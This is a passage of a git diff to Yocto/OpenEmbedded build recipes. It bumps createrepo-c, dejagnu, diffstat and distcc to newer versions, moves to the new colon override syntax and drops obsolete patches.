diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
index c0f07fe2ca..b63fe53944 100644
--- a/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ b/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -1,25 +1,28 @@
-From 4644d18157296257284bedd857f4610f1037d50e Mon Sep 17 00:00:00 2001
+From 6f8f6d151b831b60f6e7892aa9294a6361353c72 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:31:02 +0200
Subject: [PATCH] Do not set PYTHON_INSTALL_DIR by running python
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
---
src/python/CMakeLists.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/python/CMakeLists.txt b/src/python/CMakeLists.txt
-index 3d873f7..e977b2f 100644
+index a31b14d..01fd8ca 100644
--- a/src/python/CMakeLists.txt
+++ b/src/python/CMakeLists.txt
-@@ -21,7 +21,7 @@ if (NOT SKBUILD)
- endif ()
+@@ -14,7 +14,7 @@ if (NOT SKBUILD)
+ FIND_PACKAGE(PythonLibs 3 REQUIRED)
endif (NOT SKBUILD)
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c_0.16.1.bb b/meta/recipes-devtools/createrepo-c/createrepo-c_0.16.1.bb
deleted file mode 100644
index 942741023f..0000000000
--- a/meta/recipes-devtools/createrepo-c/createrepo-c_0.16.1.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-DESCRIPTION = "C implementation of createrepo."
-HOMEPAGE = "https://github.com/rpm-software-management/createrepo_c/wiki"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/rpm-software-management/createrepo_c \
- file://0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- "
-
-SRCREV = "634141eaefe0cc87466dfb91b07b64facce4384b"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "expat curl glib-2.0 libxml2 openssl bzip2 zlib file sqlite3 xz rpm"
-DEPENDS_append_class-native = " file-replacement-native"
-
-inherit cmake pkgconfig bash-completion distutils3-base
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3 -DWITH_ZCHUNK=OFF -DENABLE_DRPM=OFF -DWITH_LIBMODULEMD=OFF"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Direct createrepo to read rpm configuration from our sysroot, not the one it was compiled in
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/createrepo_c \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/createrepo_c \
- RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm
- rm -rf ${D}/etc
-}
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c_0.17.7.bb b/meta/recipes-devtools/createrepo-c/createrepo-c_0.17.7.bb
new file mode 100644
index 0000000000..0c27756d2a
--- /dev/null
+++ b/meta/recipes-devtools/createrepo-c/createrepo-c_0.17.7.bb
@@ -0,0 +1,40 @@
+DESCRIPTION = "C implementation of createrepo."
+HOMEPAGE = "https://github.com/rpm-software-management/createrepo_c/wiki"
+
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/rpm-software-management/createrepo_c;branch=master;protocol=https \
+ file://0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ "
+
+SRCREV = "c4e6808c710ec68e56bd93b0366f3b6cbeee3167"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "expat curl glib-2.0 libxml2 openssl bzip2 zlib file sqlite3 xz rpm"
+DEPENDS:append:class-native = " file-replacement-native"
+
+inherit cmake pkgconfig bash-completion distutils3-base
+
+EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3 -DWITH_ZCHUNK=OFF -DENABLE_DRPM=OFF -DWITH_LIBMODULEMD=OFF"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Direct createrepo to read rpm configuration from our sysroot, not the one it was compiled in
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/createrepo_c \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc
+ create_wrapper ${D}/${bindir}/modifyrepo_c \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/createrepo_c \
+ RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
+ MAGIC=${datadir}/misc/magic.mgc
+ create_wrapper ${D}/${bindir}/modifyrepo_c \
+ MAGIC=${datadir}/misc/magic.mgc
+ rm -rf ${D}/etc
+}
diff --git a/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb b/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb
deleted file mode 100644
index 10220ebc91..0000000000
--- a/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "GNU unit testing framework, written in Expect and Tcl"
-DESCRIPTION = "DejaGnu is a framework for testing other programs. Its purpose \
-is to provide a single front end for all tests."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-SECTION = "devel"
-
-DEPENDS += "expect-native"
-
-inherit autotools
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
-
-SRC_URI[md5sum] = "e1b07516533f351b3aba3423fafeffd6"
-SRC_URI[sha256sum] = "0d0671e1b45189c5fc8ade4b3b01635fb9eeab45cf54f57db23e4c4c1a17d261"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb b/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb
new file mode 100644
index 0000000000..bcc56e5500
--- /dev/null
+++ b/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb
@@ -0,0 +1,18 @@
+SUMMARY = "GNU unit testing framework, written in Expect and Tcl"
+DESCRIPTION = "DejaGnu is a framework for testing other programs. Its purpose \
+is to provide a single front end for all tests."
+HOMEPAGE = "https://www.gnu.org/software/dejagnu/"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+SECTION = "devel"
+
+DEPENDS += "expect-native"
+RDEPENDS:${PN} = "expect"
+
+inherit autotools
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
+
+SRC_URI[sha256sum] = "87daefacd7958b4a69f88c6856dbd1634261963c414079d0c371f589cd66a2e3"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb b/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb
index 90c265aed9..da9a38335c 100644
--- a/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb
+++ b/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb
@@ -1,6 +1,7 @@
-SECTION = "console/utils"
SUMMARY = "Command line utilities for working with *.desktop files"
+DESCRIPTION = "desktop-file-utils contains a few command line utilities for working with desktop entries"
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/desktop-file-utils"
+SECTION = "console/utils"
LICENSE = "GPLv2+"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
@@ -18,7 +19,7 @@ EXTRA_OECONF += "ac_cv_prog_EMACS=no"
BBCLASSEXTEND = "native nativesdk"
-do_install_append() {
+do_install:append() {
rm -rf ${D}${datadir}/emacs
}
diff --git a/meta/recipes-devtools/devel-config/distcc-config.bb b/meta/recipes-devtools/devel-config/distcc-config.bb
index 3cd661d543..698fd3585a 100644
--- a/meta/recipes-devtools/devel-config/distcc-config.bb
+++ b/meta/recipes-devtools/devel-config/distcc-config.bb
@@ -1,4 +1,5 @@
SUMMARY = "Sets up distcc for compilation on the target device"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -19,4 +20,4 @@ do_install() {
install -m 0755 distcc.sh ${D}${sysconfdir}/profile.d/
}
-RDEPENDS_${PN} = "distcc"
+RDEPENDS:${PN} = "distcc"
diff --git a/meta/recipes-devtools/devel-config/nfs-export-root.bb b/meta/recipes-devtools/devel-config/nfs-export-root.bb
index 56375a47b7..0aaec36b41 100644
--- a/meta/recipes-devtools/devel-config/nfs-export-root.bb
+++ b/meta/recipes-devtools/devel-config/nfs-export-root.bb
@@ -14,4 +14,4 @@ do_install() {
install -m 0644 exports ${D}${sysconfdir}/
}
-RDEPENDS_${PN} = "packagegroup-core-nfs-server"
+RDEPENDS:${PN} = "packagegroup-core-nfs-server"
diff --git a/meta/recipes-devtools/diffstat/diffstat/0001-aclocal.m4-add-missing-header-defines.patch b/meta/recipes-devtools/diffstat/diffstat/0001-aclocal.m4-add-missing-header-defines.patch
deleted file mode 100644
index 5bd94d7de4..0000000000
--- a/meta/recipes-devtools/diffstat/diffstat/0001-aclocal.m4-add-missing-header-defines.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From 004bd80d2523f538467b5ada2623eb207b55dad7 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 20 Dec 2019 15:44:28 +0100
-Subject: [PATCH] aclocal.m4: add missing header defines
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- aclocal.m4 | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/aclocal.m4 b/aclocal.m4
-index 3b19e82..c0c4acb 100644
---- a/aclocal.m4
-+++ b/aclocal.m4
-@@ -1927,3 +1927,8 @@ make an error
- fi
- fi # cf_cv_posix_visible
- ])
-+
-+AC_DEFINE([HAVE_TCGETATTR], [], [Description])
-+AC_DEFINE([HAVE_TCSETATTR], [], [Description])
-+AC_DEFINE([HAVE_TERMIOS_H], [], [Description])
-+
diff --git a/meta/recipes-devtools/diffstat/diffstat_1.63.bb b/meta/recipes-devtools/diffstat/diffstat_1.63.bb
deleted file mode 100644
index 61b2ea5dc2..0000000000
--- a/meta/recipes-devtools/diffstat/diffstat_1.63.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Tool to produce a statistics based on a diff"
-DESCRIPTION = "diffstat reads the output of diff and displays a histogram of \
-the insertions, deletions, and modifications per-file. It is useful for \
-reviewing large, complex patch files."
-HOMEPAGE = "http://invisible-island.net/diffstat/"
-SECTION = "devel"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://install-sh;endline=42;md5=b3549726c1022bee09c174c72a0ca4a5"
-
-SRC_URI = "http://invisible-mirror.net/archives/${BPN}/${BP}.tgz \
- file://run-ptest \
- file://avoid-check-user-break-cc.patch \
- file://0001-aclocal.m4-add-missing-header-defines.patch \
- "
-
-SRC_URI[md5sum] = "b9272ec8af6257103261ec3622692991"
-SRC_URI[sha256sum] = "7eddd53401b99b90bac3f7ebf23dd583d7d99c6106e67a4f1161b7a20110dc6f"
-
-S = "${WORKDIR}/diffstat-${PV}"
-
-inherit autotools gettext ptest
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-LDFLAGS += "${TOOLCHAIN_OPTIONS}"
-
-do_install_ptest() {
- cp -r ${S}/testing ${D}${PTEST_PATH}
-}
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/diffstat/diffstat_1.64.bb b/meta/recipes-devtools/diffstat/diffstat_1.64.bb
new file mode 100644
index 0000000000..717f503039
--- /dev/null
+++ b/meta/recipes-devtools/diffstat/diffstat_1.64.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Tool to produce a statistics based on a diff"
+DESCRIPTION = "diffstat reads the output of diff and displays a histogram of \
+the insertions, deletions, and modifications per-file. It is useful for \
+reviewing large, complex patch files."
+HOMEPAGE = "http://invisible-island.net/diffstat/"
+SECTION = "devel"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f605b1986cc3b808ec0e4fa9d0e0f2d9"
+
+SRC_URI = "http://invisible-mirror.net/archives/${BPN}/${BP}.tgz \
+ file://run-ptest \
+ file://avoid-check-user-break-cc.patch \
+ "
+
+SRC_URI[sha256sum] = "b8aee38d9d2e1d05926e6b55810a9d2c2dd407f24d6a267387563a4436e3f7fc"
+
+inherit autotools gettext ptest
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+LDFLAGS += "${TOOLCHAIN_OPTIONS}"
+
+do_install_ptest() {
+ cp -r ${S}/testing ${D}${PTEST_PATH}
+}
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/distcc/distcc_3.3.3.bb b/meta/recipes-devtools/distcc/distcc_3.3.3.bb
deleted file mode 100644
index d92b9c3046..0000000000
--- a/meta/recipes-devtools/distcc/distcc_3.3.3.bb
+++ /dev/null
@@ -1,88 +0,0 @@
-SUMMARY = "A parallel build system"
-DESCRIPTION = "distcc is a parallel build system that distributes \
-compilation of C/C++/ObjC code across machines on a network."
-SECTION = "devel"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-DEPENDS = "avahi binutils"
-
-PACKAGECONFIG ??= "popt"
-PACKAGECONFIG[gtk] = "--with-gtk,--without-gtk --without-gnome,gtk+"
-# use system popt by default
-PACKAGECONFIG[popt] = "--without-included-popt,--with-included-popt,popt"
-
-RRECOMMENDS_${PN}-server = "avahi-daemon"
-
-SRC_URI = "git://github.com/distcc/distcc.git \
- file://fix-gnome.patch \
- file://separatebuilddir.patch \
- file://0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch \
- file://default \
- file://distcc \
- file://distcc.service"
-SRCREV = "4cde9bcfbda589abd842e3bbc652ce369085eaae"
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig update-rc.d useradd systemd
-
-ASNEEDED = ""
-
-EXTRA_OECONF += "--disable-Werror PYTHON='' --disable-pump-mode"
-
-PACKAGE_BEFORE_PN = "${PN}-distmon-gnome ${PN}-server"
-
-USERADD_PACKAGES = "${PN}-server"
-USERADD_PARAM_${PN}-server = "--system \
- --home /dev/null \
- --no-create-home \
- --gid nogroup \
- distcc"
-
-UPDATERCPN = "${PN}-server"
-INITSCRIPT_NAME = "distcc"
-
-SYSTEMD_PACKAGES = "${PN}-server"
-SYSTEMD_SERVICE_${PN}-server = "distcc.service"
-
-do_install() {
- # Improve reproducibility: compress w/o timestamps
- oe_runmake 'DESTDIR=${D}' "GZIP_BIN=gzip -n" install
- install -d ${D}${sysconfdir}/init.d/
- install -d ${D}${sysconfdir}/default
- install -m 0755 ${WORKDIR}/distcc ${D}${sysconfdir}/init.d/
- install -m 0755 ${WORKDIR}/default ${D}${sysconfdir}/default/distcc
- install -d ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/distcc.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BINDIR@,${bindir},g' ${D}${systemd_unitdir}/system/distcc.service
-}
-
-FILES_${PN}-server = "${sysconfdir} \
- ${bindir}/distccd \
- ${sbindir}"
-FILES_${PN}-distmon-gnome = "${bindir}/distccmon-gnome \
- ${datadir}/applications \
- ${datadir}/pixmaps"
-
-#
-# distcc upstream dropped the 3.2 branch which we reference in older project releases
-# the revisions are there, just the branch is not. In order to be able to continue
-# to build those old releases, adjust any mirror tarball to contain the missing branch
-#
-fixup_distcc_mirror_tarball () {
- TBALL=${DL_DIR}/git2_github.com.distcc.distcc.git.tar.gz
- if [ -f $TBALL ]; then
- TDIR=`mktemp -d`
- cd $TDIR
- tar -xzf $TBALL
- set +e
- git rev-parse --verify 3.2
- if [ "$?" != "0" ]; then
- git branch 3.2 d8b18df3e9dcbe4f092bed565835d3975e99432c
- tar -czf $TBALL *
- fi
- set -e
- rm -rf $TDIR/*
- fi
-}
-do_fetch[postfuncs] += "fixup_distcc_mirror_tarball"
diff --git a/meta/recipes-devtools/distcc/distcc_3.4.bb b/meta/recipes-devtools/distcc/distcc_3.4.bb
new file mode 100644
index 0000000000..93983f6aee
--- /dev/null
+++ b/meta/recipes-devtools/distcc/distcc_3.4.bb
@@ -0,0 +1,88 @@
+SUMMARY = "A parallel build system"
+DESCRIPTION = "distcc is a parallel build system that distributes \
+compilation of C/C++/ObjC code across machines on a network."
+HOMEPAGE = "https://github.com/distcc/distcc"
+SECTION = "devel"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+DEPENDS = "avahi binutils"
+
+PACKAGECONFIG ??= "popt"
+PACKAGECONFIG[gtk] = "--with-gtk,--without-gtk --without-gnome,gtk+"
+# use system popt by default
+PACKAGECONFIG[popt] = "--without-included-popt,--with-included-popt,popt"
+
+RRECOMMENDS:${PN}-server = "avahi-daemon"
+
+SRC_URI = "git://github.com/distcc/distcc.git;branch=master;protocol=https \
+ file://default \
+ file://distcc \
+ file://distcc.service \
+ "
+SRCREV = "50d821efe99cae82c05be0a4ab3b4035ef0d3883"
+S = "${WORKDIR}/git"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+inherit autotools pkgconfig update-rc.d useradd systemd
+
+ASNEEDED = ""
+
+EXTRA_OECONF += "--disable-Werror PYTHON='' --disable-pump-mode"
+
+PACKAGE_BEFORE_PN = "${PN}-distmon-gnome ${PN}-server"
+
+USERADD_PACKAGES = "${PN}-server"
+USERADD_PARAM:${PN}-server = "--system \
+ --home /dev/null \
+ --no-create-home \
+ --gid nogroup \
+ distcc"
+
+UPDATERCPN = "${PN}-server"
+INITSCRIPT_NAME = "distcc"
+
+SYSTEMD_PACKAGES = "${PN}-server"
+SYSTEMD_SERVICE:${PN}-server = "distcc.service"
+
+do_install() {
+ # Improve reproducibility: compress w/o timestamps
+ oe_runmake 'DESTDIR=${D}' "GZIP_BIN=gzip -n" install
+ install -d ${D}${sysconfdir}/init.d/
+ install -d ${D}${sysconfdir}/default
+ install -m 0755 ${WORKDIR}/distcc ${D}${sysconfdir}/init.d/
+ install -m 0755 ${WORKDIR}/default ${D}${sysconfdir}/default/distcc
+ install -d ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/distcc.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BINDIR@,${bindir},g' ${D}${systemd_system_unitdir}/distcc.service
+}
+
+FILES:${PN}-server = "${sysconfdir} \
+ ${bindir}/distccd \
+ ${sbindir}"
+FILES:${PN}-distmon-gnome = "${bindir}/distccmon-gnome \
+ ${datadir}/applications \
+ ${datadir}/pixmaps"
+
+#
+# distcc upstream dropped the 3.2 branch which we reference in older project releases
+# the revisions are there, just the branch is not. In order to be able to continue
+# to build those old releases, adjust any mirror tarball to contain the missing branch
+#
+fixup_distcc_mirror_tarball () {
+ TBALL=${DL_DIR}/git2_github.com.distcc.distcc.git.tar.gz
+ if [ -f $TBALL ]; then
+ TDIR=`mktemp -d`
+ cd $TDIR
+ tar -xzf $TBALL
+ set +e
+ git rev-parse --verify 3.2
+ if [ "$?" != "0" ]; then
+ git branch 3.2 d8b18df3e9dcbe4f092bed565835d3975e99432c
+ tar -czf $TBALL *
+ fi
+ set -e
+ rm -rf $TDIR/*
+ fi
+}
+do_fetch[postfuncs] += "fixup_distcc_mirror_tarball"
diff --git a/meta/recipes-devtools/distcc/files/0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch b/meta/recipes-devtools/distcc/files/0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch
deleted file mode 100644
index 86c07c11f8..0000000000
--- a/meta/recipes-devtools/distcc/files/0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 98530865795300008fe06bb647a6fc2dddfc7967 Mon Sep 17 00:00:00 2001
-From: Romain Geissler <romain.geissler@amadeus.com>
-Date: Mon, 27 Jan 2020 09:28:43 +0000
-Subject: [PATCH] Fix build with gcc 10 which defaults to -fno-common (cf
- https://gcc.gnu.org/gcc-10/porting_to.html)
-
-This fixes the following link error I see when I use the latest gcc 10
-git branch:
-/opt/1A/toolchain/x86_64-v20.0.7/lib/gcc/x86_64-1a-linux-gnu/10.0.1/../../../../x86_64-1a-linux-gnu/bin/ld: src/serve.o:(.bss+0x0): multiple definition of `stats_text'; src/prefork.o:(.bss+0x0): first defined here
-/opt/1A/toolchain/x86_64-v20.0.7/lib/gcc/x86_64-1a-linux-gnu/10.0.1/../../../../x86_64-1a-linux-gnu/bin/ld: src/stats.o:(.data+0x20): multiple definition of `stats_text'; src/prefork.o:(.bss+0x0): first defined here
-collect2: error: ld returned 1 exit status
-
-Upstream-Status: Backport [https://github.com/distcc/distcc/pull/373]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/stats.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/stats.h b/src/stats.h
-index 9bde285..74d4690 100644
---- a/src/stats.h
-+++ b/src/stats.h
-@@ -33,7 +33,7 @@ enum stats_e { STATS_TCP_ACCEPT, STATS_REJ_BAD_REQ, STATS_REJ_OVERLOAD,
- STATS_COMPILE_OK, STATS_COMPILE_ERROR, STATS_COMPILE_TIMEOUT,
- STATS_CLI_DISCONN, STATS_OTHER, STATS_ENUM_MAX };
-
--const char *stats_text[20];
-+extern const char *stats_text[20];
-
- int dcc_stats_init(void);
- void dcc_stats_init_kid(void);
---
-2.28.0
-
diff --git a/meta/recipes-devtools/distcc/files/fix-gnome.patch b/meta/recipes-devtools/distcc/files/fix-gnome.patch
deleted file mode 100644
index f1f5ed1a9f..0000000000
--- a/meta/recipes-devtools/distcc/files/fix-gnome.patch
+++ /dev/null
@@ -1,122 +0,0 @@
-Upstream-Status: Backport [https://github.com/distcc/distcc/pull/319]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 2faacc2be8d7eeee0a3f66d88fedd1d3ab11070e Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Micha=C5=82=20G=C3=B3rny?= <mgorny@gentoo.org>
-Date: Sat, 8 Dec 2018 12:50:07 +0100
-Subject: [PATCH] Fix desktop spec compliance of distccmon-gnome install
-
-Update the .desktop file and install rules for distccmon-gnome to
-conform to the freedesktop.org specifications. More specifically:
-
-- update to version 1.0 of the spec
-- remove obsolete 'Encoding' key
-- remove obsolete 'Application' category and add recommended 'GTK'
-- install icon file to the correct directory
-- strip suffix from desktop file (specifying it is deprecated)
-- while at it, remove redundant '-icon' from the filename
-- install desktop file to the correct directory
----
- Makefile.in | 18 ++++++++++--------
- gnome/distccmon-gnome.desktop | 7 +++----
- ...mon-gnome-icon.png => distccmon-gnome.png} | Bin
- src/mon-gnome.c | 2 +-
- 4 files changed, 14 insertions(+), 13 deletions(-)
- rename gnome/{distccmon-gnome-icon.png => distccmon-gnome.png} (100%)
-
-diff --git a/Makefile.in b/Makefile.in
-index 6e1e467..1106559 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -52,13 +52,14 @@ mandir = @mandir@
- includedir = @includedir@
- oldincludedir = /usr/include
- docdir = @docdir@
--pkgdatadir = $(datadir)/@PACKAGE_NAME@
-+icondir = $(datarootdir)/pixmaps
-+desktopdir = $(datarootdir)/applications
-
- include_server_builddir = $(builddir)/_include_server
-
- # These must be done from here, not from autoconf, because they can
- # contain variable expansions written in Make syntax. Ew.
--DIR_DEFS = -DLIBDIR="\"${libdir}\"" -DSYSCONFDIR="\"${sysconfdir}\"" -DPKGDATADIR="\"${pkgdatadir}\""
-+DIR_DEFS = -DLIBDIR="\"${libdir}\"" -DSYSCONFDIR="\"${sysconfdir}\"" -DICONDIR="\"${icondir}\""
-
- # arguments to pkgconfig
- GNOME_PACKAGES = @GNOME_PACKAGES@
-@@ -387,7 +388,7 @@ man_HTML = man/distcc_1.html man/distccd_1.html man/distccmon_text_1.html \
- man/lsdistcc_1.html man/pump_1.html man/include_server_1.html
- MEN = $(man1_MEN)
-
--gnome_data = gnome/distccmon-gnome-icon.png \
-+gnome_data = gnome/distccmon-gnome.png \
- gnome/distccmon-gnome.desktop
-
- popt_OBJS=popt/findme.o popt/popt.o popt/poptconfig.o \
-@@ -1033,7 +1034,8 @@ showpaths:
- @echo " programs $(DESTDIR)$(bindir)"
- @echo " sbin programs $(DESTDIR)$(sbindir)"
- @echo " system configuration $(DESTDIR)$(sysconfdir)"
-- @echo " shared data files $(DESTDIR)$(pkgdatadir)"
-+ @echo " icon file $(DESTDIR)$(icondir)"
-+ @echo " application file $(DESTDIR)$(desktopdir)"
-
-
- # install-sh can't handle multiple arguments, but we don't need any
-@@ -1129,10 +1131,10 @@ install-example: $(example_DOCS)
- done
-
- install-gnome-data: $(gnome_data)
-- $(mkinstalldirs) "$(DESTDIR)$(pkgdatadir)"
-- for p in $(gnome_data); do \
-- $(INSTALL_DATA) "$$p" "$(DESTDIR)$(pkgdatadir)" || exit 1; \
-- done
-+ $(mkinstalldirs) "$(DESTDIR)$(icondir)"
-+ $(mkinstalldirs) "$(DESTDIR)$(desktopdir)"
-+ $(INSTALL_DATA) gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-+ $(INSTALL_DATA) gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-
- install-conf: $(conf_files) $(default_files)
- $(mkinstalldirs) "$(DESTDIR)$(sysconfdir)/distcc"
-diff --git a/gnome/distccmon-gnome.desktop b/gnome/distccmon-gnome.desktop
-index bd1fa26..7205f5e 100644
---- a/gnome/distccmon-gnome.desktop
-+++ b/gnome/distccmon-gnome.desktop
-@@ -1,6 +1,5 @@
- [Desktop Entry]
--Version=0.9.4
--Encoding=UTF-8
-+Version=1.0
- Exec=distccmon-gnome
- Name=distcc monitor
- Name[sv]=distcc övervakare
-@@ -8,9 +7,9 @@ GenericName=Distributed Compile Monitor
- GenericName[sv]=Distribuerad kompilerings-övervakare
- Comment=Graphical view of distributed compile tasks
- Comment[sv]=Grafisk vy av distribuerade kompileringsuppgifter
--Icon=distccmon-gnome-icon.png
-+Icon=distccmon-gnome
- TryExec=distccmon-gnome
- Terminal=false
- Type=Application
--Categories=GNOME;Application;Development;
-+Categories=GNOME;GTK;Development;
- StartupNotify=true
-diff --git a/gnome/distccmon-gnome-icon.png b/gnome/distccmon-gnome.png
-similarity index 100%
-rename from gnome/distccmon-gnome-icon.png
-rename to gnome/distccmon-gnome.png
-diff --git a/src/mon-gnome.c b/src/mon-gnome.c
-index 24681d0..bfc286d 100644
---- a/src/mon-gnome.c
-+++ b/src/mon-gnome.c
-@@ -599,7 +599,7 @@ static GtkWidget * dcc_gnome_make_mainwin (void)
-
- #if GTK_CHECK_VERSION(2,2,0)
- gtk_window_set_icon_from_file (GTK_WINDOW (mainwin),
-- PKGDATADIR "/distccmon-gnome-icon.png",
-+ ICONDIR "/distccmon-gnome.png",
- NULL);
- #endif
-
diff --git a/meta/recipes-devtools/distcc/files/separatebuilddir.patch b/meta/recipes-devtools/distcc/files/separatebuilddir.patch
deleted file mode 100644
index c8da9d51c3..0000000000
--- a/meta/recipes-devtools/distcc/files/separatebuilddir.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-Upstream-Status: Backport [https://github.com/distcc/distcc/pull/363]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 469628ee8dc90c7162d1a850c0b179b7349f9cf3 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Tue, 17 Sep 2019 13:04:22 +0100
